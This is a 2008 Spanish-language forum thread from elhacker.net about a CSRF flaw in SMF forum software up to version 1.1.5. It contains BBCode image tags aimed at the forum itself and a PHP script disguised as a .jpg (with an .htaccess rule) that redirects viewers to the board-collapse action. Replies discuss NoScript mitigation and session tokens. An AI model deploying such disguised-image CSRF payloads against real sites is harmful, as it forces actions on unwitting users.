Imprimir Página - [°] CSRF en foros SMF => 1.1.5

Título: [°] CSRF en foros SMF => 1.1.5
Publicado por: WHK en 23 Agosto 2008, 09:41 am

Por un foro limpio y ordenado vivan los CSRF de SMF 1.1.5 :P

visualiza el index del foro (http://foro.elhacker.net/).

Fuente:
http://www.jccharry.com/comunidad/index.php?board=8.0

Código:

[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=1&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=2&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=4&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=6&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=9&url=http://foro.elhacker.net/[/img]
[img]http://www.jccharry.com/pruebas/smf1.0.5/1.jpg?colapsar=10&url=http://foro.elhacker.net/[/img]

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Newbie´s en 23 Agosto 2008, 10:39 am

Hay algún riesgo para un User ???...

Mmm... creo que se podrían tener datos valiosos o no ???... se supone que estan visualizando un "imagen" de tu Server donde se almacenan direcciones IP... además de poder ejecutar algún Script dentro de este mismo no es asi ???

Saludos cordiales...

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: WHK en 23 Agosto 2008, 10:45 am

Bueno, eso de ejecutar scripts atraves de imagenes es otro tema :P, claramente se podría tener tu ip ta,bién pero este no es el tema.

La falla solo puede hacer que el index se te vean todas las secciones colapsadas cada ves que veas la firma de alguien que tega ánimos de molestar.

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: cheatmaster en 23 Agosto 2008, 17:36 pm

Es decir, basicamente, si creas un .htaccces con el codigo

Código:

<Files *.jpg> 
ForceType application/x-httpd-php 
</Files>

y luego un archivo .php renombrado a x ejemplo bug.jpg con este codigo

Código:

<?php
/* 
Prueba del concepto del XSRF en FMS => 1.1.5
http://www.jccharry.com/comunidad/
WHK - The hacktivism is not a crime.
*/

error_reporting(0);
$url = str_replace("cript","_",strtolower($_GET['url']));

if(is_numeric($_GET['colapsar']) and $url){
 header("location: ".$url."/index.php?action=collapse;c=".$_GET['colapsar'].";sa=collapse;#".$_GET['colapsar']);
}else{
 header("Content-type: image/png");
 echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAsAAAARCAYAAAAL4VbbAAAAQUlEQVQokWP8//8/A7GAiWiVpCpmQRdgZGSEu+v///+MWBUjKyLojP///zOim4RTMTFgVPEgVMwIS8/40gYsGQAA4yQVHW/Zg08AAAAASUVORK5CYII=");
}

?>

Al ponerlo en tu host y luego en la web, se "estropearia" ? es asin ?

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: fandango en 23 Agosto 2008, 21:01 pm

Si la verdad que es bastante molesto >:( saludos.

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Silici0 en 24 Agosto 2008, 01:40 am

Por curiosidad tengo dos cuestiones:

supongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.

Y la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?

Código:

/deletemsg.html;topic=1;msg=1;sesc=222222

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: WHK en 24 Agosto 2008, 03:37 am

Citar

supongo que el noscript no te libra de XSRF al no utilizar un script ¿hay algo que pueda hacer el usuario en su navegador para evitarlo?
Hablo del XSRF en general.

en las opociones de no-script tienes la posibilidad de bloquear iframes , aunque esto no es una solución al 100% evitará muchos problemas.
Para evitar el redireccionamiento en headers no conozco nada. Talves pueda haber algún complemento que bloquee las redirecciones desde un header.
De todas formas siempre hay una forma de hacerlo, puedes evitar ataques pero no todos.

Citar

Y la segunda cuestión, donde pongo un 222222 ¿eso es el token que evita que se pueda hacer lo mismo pero borrando un mensaje?

Citar

/deletemsg.html;topic=1;msg=1;sesc=222222

Exacto, aunque hay otras muchas formas pero esa es solo una.

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Silici0 en 24 Agosto 2008, 03:52 am

Muchisimas gracias por tu contestación, hare las pruebas bloqueando iframes con noscript porque no he encontrado otra manera.

¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?

Y por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.

Esto último va por si alguien se le ocurre hacer la gracia en este foro o en cualquier otro que sepa que seguramente será baneado.

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: WHK en 24 Agosto 2008, 06:16 am

Citar

¿Hay ya algun parche que añada un token a la acción de colapsar? ¿Alguna solucion que no sea quitar la opción de colapsar en el SMF?

SMF tiene la opción en "boards" o "foros" de asignar cual puede colapsarse y cual no, habría que darle la opción a cada uno de no colapsar.
Esta sería una solución temporal ya que la idea es que si se pueda colapsar pero no involuntariamente.

Citar

Y por último y para evitar futuros malentendidos, supongo que antes de hacer esto avisarias a los administradores de este foro. Si no, no habría durado tanto este post y en vez de ser modificado el primer post habria sido borrado.

Le avisé a un coadmin para que deshabilitara los colapsos de foros pero no se si lo hará o no, yo lo hice y no creo que el admin se moleste o si no me lo hubiera hecho saber, es mas... si lo hubiera posteado en otro sitio de seguro lo hubieran probado acá primero sin avisarle a nadie y por lo menos acá ya todos están consientes del bug.

Si lo modificaron y no lo borraron es porque tienen el criterio que a otros le faltan.

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: sirdarckcat en 24 Agosto 2008, 07:49 am

Citar

Probablemente si se haga :¬¬ :¬¬

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Dacan en 14 Septiembre 2008, 03:00 am

Una Duda modificando el código PHP se podría desloguear al usuario, es que no se si el deslogueo trabaja con hash o solamente un link.

Saludos, Dacan :D

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Silici0 en 14 Septiembre 2008, 11:36 am

si miras el boton de salir, por ejemplo, veras que efectivamente tiene un identificador que se ha generado con el user/sesion
http://foro.elhacker.net/logout.html;sesc=30fb6bxxxxxxxxxxxxxxxxx

Título: Re: XSRF en foros SMF => 1.1.5
Publicado por: Dacan en 14 Septiembre 2008, 15:40 pm

Ok Gracias, Entonces que mas se podría hacer con el XSRF en estos foros.

Saludos, Dacan :D

Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 23 Agosto 2008, 09:41 am